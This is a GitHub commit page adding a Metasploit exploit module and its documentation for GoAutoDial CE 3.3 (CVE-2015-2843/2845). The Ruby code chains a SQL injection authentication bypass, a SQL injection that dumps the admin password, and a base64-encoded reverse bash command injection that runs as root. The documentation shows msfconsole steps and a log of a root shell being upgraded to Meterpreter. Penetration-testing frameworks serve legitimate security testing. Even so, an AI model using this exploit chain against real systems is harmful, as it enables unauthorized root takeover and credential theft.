Skip to content

Commit a2602bf

Browse files
pbarry-r7pbarry-r7
committed
Land rapid7#8600, Add GoAutoDial 3.3 RCE Command Injection / SQL injection module
2 parents 3d4d03c + dd530a2 commit a2602bf

File tree

2 files changed

+193
-0
lines changed

2 files changed

+193
-0
lines changed

‎documentation/modules/exploit/linux/goautodial_3_rce_code_injection.md

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
## Description
2+
This module exploits a SQL injection flaw and command injection flaw within GoAutoDial CE 3.3, which permits authentication bypass and a complete compromise of the underlying system with root privileges. This module also extracts the administrative users password from the underlying database.
3+
4+
## Affected software
5+
GoAutoDial 3.3 CE (32bit and 64bit) is available for download from goautodial.org. In order to download, register a free account then download the bootable ISOs. Both ISOs have been used for the dev of this. http://goautodial.org/attachments/download/3237/goautodial-32bit-ce-3.3-final.iso.html
6+
Refer to: https://www.exploit-db.com/exploits/36807/
7+
8+
## Verification
9+
List the steps needed to make sure this thing works
10+
11+
- Start `msfconsole`
12+
- Do `use exploit/linux/http/goautodial_3_rce_command_injection`
13+
- Do `set payload cmd/unix/reverse_bash`
14+
- Do `set RHOST <IP>`
15+
- Do `set LHOST <IP>`
16+
- Do `set LPORT <PORT>`
17+
- Wait for shell
18+
```
19+
msf exploit(goautodial_3_rce_command_injection) > check
20+
[+] 192.168.0.76:443 The target is vulnerable.
21+
msf exploit(goautodial_3_rce_command_injection) > exploit -z
22+
23+
[*] Started reverse TCP handler on 192.168.0.11:4444
24+
[*] 192.168.0.76:443 - Trying SQL injection...
25+
[+] Authentication Bypass (SQLi) was successful
26+
[*] 192.168.0.76:443 - Dumping admin password...
27+
[+] admin|goautodial|Admin|||Y
28+
[*] 192.168.0.76:443 - Sending payload...waiting for connection
29+
[*] Command shell session 7 opened (192.168.0.11:4444 -> 192.168.0.76:37338) at 2017-06-18 01:40:41 +1000
30+
[*] Session 7 created in the background.
31+
msf exploit(goautodial_3_rce_command_injection) > sessions -u 7
32+
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [7]
33+
34+
[*] Upgrading session ID: 7
35+
[*] Starting exploit/multi/handler
36+
[*] Started reverse TCP handler on 192.168.0.11:4433
37+
[*] Starting the payload handler...
38+
[*] Sending stage (797784 bytes) to 192.168.0.76
39+
[*] Meterpreter session 8 opened (192.168.0.11:4433 -> 192.168.0.76:58124) at 2017-06-18 01:41:04 +1000
40+
[*] Command stager progress: 100.00% (668/668 bytes)
41+
msf exploit(goautodial_3_rce_command_injection) > sessions -i 8
42+
[*] Starting interaction with 8...
43+
44+
meterpreter > getuid
45+
Server username: uid=0, gid=0, euid=0, egid=0
46+
meterpreter > sysinfo
47+
Computer : test
48+
OS : CentOS 5.10 (Linux 2.6.18-371.11.1.el5)
49+
Architecture : x64
50+
Meterpreter : x86/linux
51+
52+
```

‎modules/exploits/linux/http/goautodial_3_rce_command_injection.rb

Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => "GoAutoDial 3.3 Authentication Bypass / Command Injection",
14+
'Description' => %q{
15+
This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
16+
},
17+
'License' => MSF_LICENSE,
18+
'Author' =>
19+
[
20+
'Chris McCurley', # Discovery & Metasploit module
21+
],
22+
'References' =>
23+
[
24+
['CVE', '2015-2843'],
25+
['CVE', '2015-2845']
26+
],
27+
'Platform' => %w{unix},
28+
'Arch' => ARCH_CMD,
29+
'Targets' => [ ['Automatic', {} ] ],
30+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
31+
'DefaultTarget' => 0,
32+
'Privileged' => false,
33+
'DisclosureDate' => 'Apr 21 2015'))
34+
35+
register_options(
36+
[
37+
OptPort.new('RPORT', [true, 'The target port', 443]),
38+
OptBool.new('SSL', [false, 'Use SSL', true]),
39+
OptString.new('TARGETURI', [true, 'The base path', '/'])
40+
])
41+
end
42+
43+
44+
def check
45+
res = check_version()
46+
if res and res.body =~ /1421902800/
47+
return Exploit::CheckCode::Safe
48+
else
49+
return Exploit::CheckCode::Vulnerable
50+
end
51+
end
52+
53+
def check_version()
54+
uri = target_uri.path
55+
56+
send_request_cgi({
57+
'method' => 'GET',
58+
'uri' => normalize_uri(uri, 'changelog.txt'),
59+
'headers' => {
60+
'User-Agent' => 'Mozilla/5.0',
61+
'Accept-Encoding' => 'identity'
62+
}
63+
})
64+
end
65+
66+
def sqli_auth_bypass()
67+
uri = target_uri.path
68+
69+
send_request_cgi({
70+
'method' => 'POST',
71+
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
72+
'headers' => {
73+
'User-Agent' => 'Mozilla/5.0',
74+
'Accept-Encoding' => 'identity'
75+
},
76+
'vars_post' => {
77+
'user_name' => 'admin',
78+
'user_pass' => '\'%20or%20\'1\'%3D\'1'
79+
}
80+
})
81+
end
82+
83+
def sqli_admin_pass(cookies)
84+
uri = target_uri.path
85+
86+
send_request_cgi({
87+
'method' => 'GET',
88+
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
89+
'headers' => {
90+
'User-Agent' => 'Mozilla/5.0',
91+
'Accept-Encoding' => 'identity',
92+
'Cookie' => cookies
93+
}
94+
})
95+
end
96+
97+
#
98+
# Run the actual exploit
99+
#
100+
def execute_command()
101+
102+
encoded = Rex::Text.encode_base64("#{payload.encoded}")
103+
params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
104+
uri = target_uri.path
105+
106+
send_request_cgi({
107+
'method' => 'GET',
108+
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
109+
'headers' => {
110+
'User-Agent' => 'Mozilla/5.0',
111+
'Accept-Encoding' => 'identity',
112+
'Cookie' => @cookie
113+
}
114+
})
115+
end
116+
117+
118+
def exploit()
119+
print_status("#{rhost}:#{rport} - Trying SQL injection...")
120+
res1 = sqli_auth_bypass()
121+
122+
if res1 && res1.code == 200
123+
print_good('Authentication Bypass (SQLi) was successful')
124+
else
125+
print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed')
126+
end
127+
128+
@cookie = res1.get_cookies
129+
print_status("#{rhost}:#{rport} - Dumping admin password...")
130+
res = sqli_admin_pass(@cookie)
131+
132+
if res
133+
print_good(res.body)
134+
else
135+
print_error('Error: No creds returned, possible mitigations are in place.')
136+
end
137+
print_status("#{rhost}:#{rport} - Sending payload...waiting for connection")
138+
139+
execute_command()
140+
end
141+
end

0 commit comments

Comments
 (0)